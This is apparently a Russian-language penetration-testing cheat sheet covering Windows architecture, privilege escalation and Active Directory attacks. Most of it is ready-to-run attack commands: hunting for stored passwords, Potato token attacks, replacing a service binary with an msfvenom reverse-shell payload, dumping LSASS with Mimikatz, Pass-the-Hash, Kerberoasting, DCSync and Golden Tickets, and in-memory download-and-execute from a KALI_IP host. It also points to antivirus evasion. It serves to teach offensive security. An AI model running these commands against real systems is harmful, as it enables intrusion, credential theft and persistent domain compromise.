📌 Шпаргалка #25

Windows: архитектура, привилегии, AD-эксплуатация

✍️ pentestudy 📅 30.03.2026

🪟 Что это

Windows — основа корпоративных сетей. 90%+ компаний используют Windows + Active Directory. Пентест Windows-инфраструктуры — самый востребованный навык. Здесь: как устроен Windows изнутри, где искать пароли, как повышать привилегии, как атаковать AD.

Аналогия: если Linux — это дом с понятной планировкой (всё в текстовых файлах), то Windows — это офисное здание с пропускной системой, камерами и реестром посетителей. Сложнее, но и интереснее.

📌 Архитектура Windows — что нужно знать

Важные директории

C:\Windows\                      ← системная папка
├── System32\                    ← ключевые системные файлы
│   ├── config\                  ← реестр (SAM, SYSTEM, SECURITY) ★★★
│   │   ├── SAM                  ← хеши локальных паролей
│   │   ├── SYSTEM               ← системные ключи (нужен для расшифровки SAM)
│   │   └── SECURITY             ← кэшированные доменные пароли
│   ├── drivers\etc\hosts        ← локальный DNS
│   └── GroupPolicy\             ← локальные групповые политики
├── Temp\                        ← временные файлы
└── Prefetch\                    ← история запуска программ
 
C:\Users\                        ← домашние папки ★
├── Administrator\
│   ├── Desktop\
│   ├── Documents\
│   └── AppData\                 ← скрытые данные приложений ★★
│       ├── Local\
│       ├── LocalLow\
│       └── Roaming\
│           └── Microsoft\
│               └── Credentials\ ← сохранённые пароли ★★★
└── [username]\
 
C:\ProgramData\                  ← данные программ (скрытая)
C:\Program Files\                ← 64-bit программы
C:\Program Files (x86)\          ← 32-bit программы
C:\inetpub\wwwroot\              ← корень IIS (веб-сервер)

Реестр Windows

Реестр — иерархическая база данных настроек. Всё в Windows настраивается через реестр.

HKEY_LOCAL_MACHINE (HKLM)        ← настройки системы
├── SAM                           ← хеши паролей (зашифрованы)
├── SECURITY                      ← политики безопасности
├── SOFTWARE                      ← настройки программ
│   └── Microsoft\Windows\CurrentVersion\Run  ← автозагрузка ★
└── SYSTEM                        ← драйверы, сервисы
 
HKEY_CURRENT_USER (HKCU)         ← настройки текущего пользователя
├── SOFTWARE\                     ← пользовательские программы
└── Environment\                  ← переменные окружения
 
HKEY_USERS (HKU)                 ← настройки всех пользователей

Для пентестера:

# Автозагрузка — можно добавить backdoor
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
 
# Пароли в реестре
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
 
# VNC-пароль
reg query HKCU\Software\ORL\WinVNC3\Password
 
# Autologon пароли
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

Первые команды после шелла

# Кто я
whoami
whoami /priv              # Привилегии текущего пользователя ★★★
whoami /groups            # Группы
 
# Информация о системе
systeminfo                # ОС, версия, патчи, архитектура ★★
hostname
ipconfig /all             # Сетевые интерфейсы, DNS, DHCP
 
# Пользователи
net user                  # Локальные пользователи
net user Administrator    # Детали пользователя
net localgroup            # Локальные группы
net localgroup Administrators  # Кто в группе админов
 
# Сеть
ipconfig /all
route print
arp -a
netstat -ano              # Открытые порты + PID процесса
 
# Домен (если в AD)
net user /domain          # Доменные пользователи
net group /domain         # Доменные группы
net group "Domain Admins" /domain  # Кто доменный админ ★★★
 
# Запущенные процессы
tasklist /v
wmic process list full
 
# Установленные программы
wmic product get name,version
 
# Сервисы
sc query state=all
wmic service list full

⚡ Windows Privilege Escalation

Шаг 1 — Проверка привилегий

whoami /priv

Опасные привилегии:

  • SeImpersonatePrivilege — можно украсть токен другого пользователя → мгновенный SYSTEM через Potato-атаки ★★★
  • SeDebugPrivilege — отладка любого процесса → дамп памяти LSASS → хеши паролей
  • SeBackupPrivilege — чтение любого файла → копирование SAM/SYSTEM
  • SeRestorePrivilege — запись любого файла → подмена системных файлов
  • SeLoadDriverPrivilege — загрузка драйверов → выполнение кода в ядре
  • SeTakeOwnershipPrivilege — смена владельца любого файла

SeImpersonatePrivilege — самый частый вектор. Есть у сервисных аккаунтов (IIS, MSSQL, сервисы):

# Potato-атаки (на цели)
# JuicyPotato, PrintSpoofer, GodPotato, SweetPotato
 
# PrintSpoofer (Windows 10 / Server 2016+)
PrintSpoofer.exe -i -c "cmd /c whoami"
# → nt authority\system
 
# GodPotato
GodPotato.exe -cmd "cmd /c whoami"

Шаг 2 — Поиск паролей

# Сохранённые пароли WiFi
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear
 
# Пароли в реестре
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
 
# Credential Manager
cmdkey /list                    # Сохранённые учётные записи
# Если есть сохранённые — можно использовать runas:
runas /savecred /user:Administrator cmd.exe
 
# Файлы unattend/sysprep (пароли установки)
type C:\unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\system32\sysprep\Unattend.xml
 
# IIS конфиг
type C:\inetpub\wwwroot\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
 
# PowerShell история
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
 
# Поиск файлов с паролями
dir /s /b *pass*.txt *pass*.xml *pass*.ini *cred* *vnc* *.config 2>nul
findstr /si "password" *.txt *.ini *.config *.xml *.php 2>nul

Шаг 3 — Сервисы

# Все сервисы
sc query state=all
 
# Сервисы с неправильными правами
# Если можешь изменить путь к бинарнику сервиса, который запускается от SYSTEM:
sc qc ServiceName
 
# Unquoted Service Paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

Unquoted Service Path — если путь к сервису содержит пробелы и не заключён в кавычки:

# Путь сервиса: C:\Program Files\My App\service.exe
# Windows пробует по порядку:
# C:\Program.exe
# C:\Program Files\My.exe
# C:\Program Files\My App\service.exe
 
# Если можешь создать C:\Program Files\My.exe — он выполнится от SYSTEM

Writable Service Binary — если можешь заменить бинарник сервиса:

# Проверка прав через icacls
icacls "C:\path\to\service.exe"
# Если (M) или (F) у твоей группы — можно заменить
 
# Генерируем payload
msfvenom -p windows/shell_reverse_tcp LHOST=KALI_IP LPORT=4444 -f exe > service.exe
 
# Заменяем и перезапускаем
sc stop ServiceName
copy service.exe "C:\path\to\service.exe"
sc start ServiceName

Шаг 4 — Автоматизация

# WinPEAS — аналог LinPEAS для Windows
winpeas.exe
 
# PowerUp (PowerShell)
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks
 
# Seatbelt — сбор информации о системе
Seatbelt.exe -group=all

🔍 Хеши и пароли Windows

Где хранятся пароли

SAM (Security Account Manager) — хеши локальных пользователей. Файл C:\Windows\System32\config\SAM. Зашифрован ключом из файла SYSTEM.

NTDS.dit — база Active Directory на Domain Controller. Содержит хеши ВСЕХ доменных пользователей. Файл C:\Windows\NTDS\ntds.dit.

LSASS (Local Security Authority Subsystem) — процесс в памяти, хранит пароли/хеши текущих сессий. Процесс lsass.exe.

Извлечение хешей

Из SAM (локальные пароли):

# Через Meterpreter
hashdump
 
# Через secretsdump (Impacket) с SeBackupPrivilege
secretsdump.py -sam SAM -system SYSTEM LOCAL
 
# Сохранение файлов реестра (нужны права)
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save

Из LSASS (пароли из памяти):

# Mimikatz — главный инструмент ★★★
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords    # Пароли в открытом виде!
sekurlsa::wdigest           # WDigest пароли
lsadump::sam                # Локальные хеши
 
# Через procdump (создание дампа LSASS)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Потом на своей машине через Mimikatz:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

Из NTDS.dit (все доменные пароли):

# Через secretsdump (удалённо, нужны права Domain Admin)
secretsdump.py domain/admin:password@DC_IP
 
# Через DCSync (не нужен физический доступ к DC)
# В Mimikatz:
lsadump::dcsync /domain:corp.local /user:Administrator

Pass-the-Hash

Не нужно знать пароль — хеша достаточно для аутентификации:

# Impacket psexec
psexec.py -hashes :NTLM_HASH Administrator@TARGET_IP
 
# Impacket wmiexec
wmiexec.py -hashes :NTLM_HASH Administrator@TARGET_IP
 
# CrackMapExec
crackmapexec smb TARGET_IP -u Administrator -H NTLM_HASH
 
# Evil-WinRM
evil-winrm -i TARGET_IP -u Administrator -H NTLM_HASH

⚡ Active Directory — атаки

Разведка AD

# BloodHound — визуальная карта AD (лучший инструмент)
# На цели запускаем collector:
SharpHound.exe -c All
 
# Или через Python:
bloodhound-python -d domain.local -u user -p password -ns DC_IP -c all
 
# Загружаем результат в BloodHound GUI
# Показывает пути от текущего пользователя до Domain Admin

BloodHound — показывает графически кто куда имеет доступ, и находит кратчайший путь до Domain Admin. Абсолютный must-have.

Kerberoasting

Любой доменный пользователь может запросить сервисный тикет и взломать его офлайн:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip DC_IP -request
 
# На выходе — хеш, который ломаем через hashcat:
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

AS-REP Roasting

Атака на аккаунты с отключённой Kerberos pre-authentication:

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip DC_IP -no-pass
 
# Hashcat
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

Golden Ticket

Если получил хеш аккаунта krbtgt (через DCSync) — можешь создать TGT на любого пользователя:

# Mimikatz
kerberos::golden /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator /ptt

Golden Ticket действует даже после смены пароля пользователя — до тех пор, пока не сменят пароль krbtgt (что делают крайне редко).

Распространённые пути атаки в AD

1. Начальный доступ (фишинг, веб-уязвимость, слабый пароль)
   ↓
2. Локальный privesc (Potato, сервисы, CVE)
   ↓
3. Сбор хешей (Mimikatz, SAM dump)
   ↓
4. Lateral Movement (Pass-the-Hash на другие машины)
   ↓
5. Нахождение Domain Admin сессии (BloodHound)
   ↓
6. Кража токена/хеша Domain Admin
   ↓
7. DCSync — дамп всех хешей домена
   ↓
8. Golden Ticket — постоянный доступ

🔧 PowerShell для пентестера

Базовые команды

# Информация о системе
Get-ComputerInfo
Get-WmiObject Win32_OperatingSystem
 
# Пользователи
Get-LocalUser
Get-LocalGroupMember Administrators
 
# Процессы
Get-Process
Get-Process | Where-Object {$_.ProcessName -eq "lsass"}
 
# Сервисы
Get-Service
Get-Service | Where-Object {$_.StartType -eq "Automatic"}
 
# Сеть
Get-NetIPAddress
Get-NetTCPConnection | Where-Object {$_.State -eq "Listen"}
 
# Файлы
Get-ChildItem -Path C:\ -Recurse -Filter "*.txt" -ErrorAction SilentlyContinue

Загрузка и выполнение в памяти

# Обход политики выполнения
powershell -ep bypass
 
# Загрузка скрипта в память (не касается диска)
IEX(New-Object Net.WebClient).DownloadString('http://KALI_IP/script.ps1')
 
# Или через Invoke-Expression
powershell -c "IEX(IWR http://KALI_IP/script.ps1 -UseBasicParsing)"

Полезные скрипты

# PowerView — разведка AD
Import-Module .\PowerView.ps1
Get-NetDomain                    # Информация о домене
Get-NetUser                      # Все пользователи
Get-NetGroup "Domain Admins"     # Кто Domain Admin
Find-LocalAdminAccess            # На каких машинах мы локальный админ
Get-NetSession                   # Активные сессии
 
# PowerUp — привилегии
Import-Module .\PowerUp.ps1
Invoke-AllChecks                 # Автоматическая проверка всех векторов

🛡 Основные инструменты для Windows-пентеста

Impacket (Python, запуск с Kali)

psexec.py        # Удалённый шелл через SMB
wmiexec.py       # Удалённый шелл через WMI
smbexec.py       # Удалённый шелл через SMB
secretsdump.py   # Дамп хешей (SAM, LSA, NTDS)
GetUserSPNs.py   # Kerberoasting
GetNPUsers.py    # AS-REP Roasting
ntlmrelayx.py    # NTLM Relay атаки

Другие ключевые инструменты

mimikatz.exe     # Извлечение паролей из памяти ★★★
BloodHound       # Визуальный анализ AD ★★★
Rubeus.exe       # Kerberos-атаки (замена Mimikatz для Kerberos)
Certify.exe      # Атаки на AD Certificate Services
evil-winrm       # WinRM-шелл с Kali
CrackMapExec     # Мультитул для SMB/LDAP/WinRM
Responder        # LLMNR/NBT-NS poisoning
SharpHound       # Collector для BloodHound

🧠 Готовые комбо

Первые действия после шелла на Windows:

whoami /priv → systeminfo → net user /domain → netstat -ano → поиск паролей в реестре и файлах → WinPEAS

Privilege Escalation:

whoami /priv → SeImpersonatePrivilege? → PrintSpoofer/GodPotato → SYSTEM. Нет? → unquoted service paths → writable services → scheduled tasks → kernel exploit

От пользователя до Domain Admin:

BloodHound → найти путь → Mimikatz (хеши) → Pass-the-Hash → lateral movement → найти DA сессию → украсть токен → DCSync → Golden Ticket

Полный дамп AD:

Получить Domain Admin → secretsdump.py domain/admin:pass@DC_IP → все хеши домена → hashcat → все пароли

⚠️ Важные моменты

  • whoami /priv — первая команда на Windows. SeImpers SYSTEM через Potato
  • Mimikatz — главный инструмент Windows-пентестера. Учи его как Metasploit
  • BloodHound меняет правила игры. Без него поиск пути до Domain Admin — это гадание. С ним — чёткая дорожная карта
  • Pass-the-Hash — уникальная особенность Windows. На Linux хеш бесполезен без расшифровки. На Windows хеш = пароль
  • NTDS.dit — святой грааль. Дамп этого файла = все пароли всех пользователей домена
  • PowerShell — друг пентестера. Выполнение в памяти, загрузка без касания диска, обход антивируса
  • Unquoted Service Paths — простейший вектор. Проверяй всегда, встречается чаще, чем кажется
  • Golden Ticket живёт до смены пароля krbtgt. А его меняют раз в несколько лет (если вообще меняют)
  • Windows Defender и AMSI блокируют Mimikatz. На современных системах нужны обходы — obfuscation, reflective loading, кастомные тулы
Содержание
🪟 Что это 📌 Архитектура Windows — что нужно знать Важные директории Реестр Windows Первые команды после шелла ⚡ Windows Privilege Escalation Шаг 1 — Проверка привилегий Шаг 2 — Поиск паролей Шаг 3 — Сервисы Шаг 4 — Автоматизация 🔍 Хеши и пароли Windows Где хранятся пароли Извлечение хешей Pass-the-Hash ⚡ Active Directory — атаки Разведка AD Kerberoasting AS-REP Roasting Golden Ticket Распространённые пути атаки в AD 🔧 PowerShell для пентестера Базовые команды Загрузка и выполнение в памяти Полезные скрипты 🛡 Основные инструменты для Windows-пентеста Impacket (Python, запуск с Kali) Другие ключевые инструменты 🧠 Готовые комбо ⚠️ Важные моменты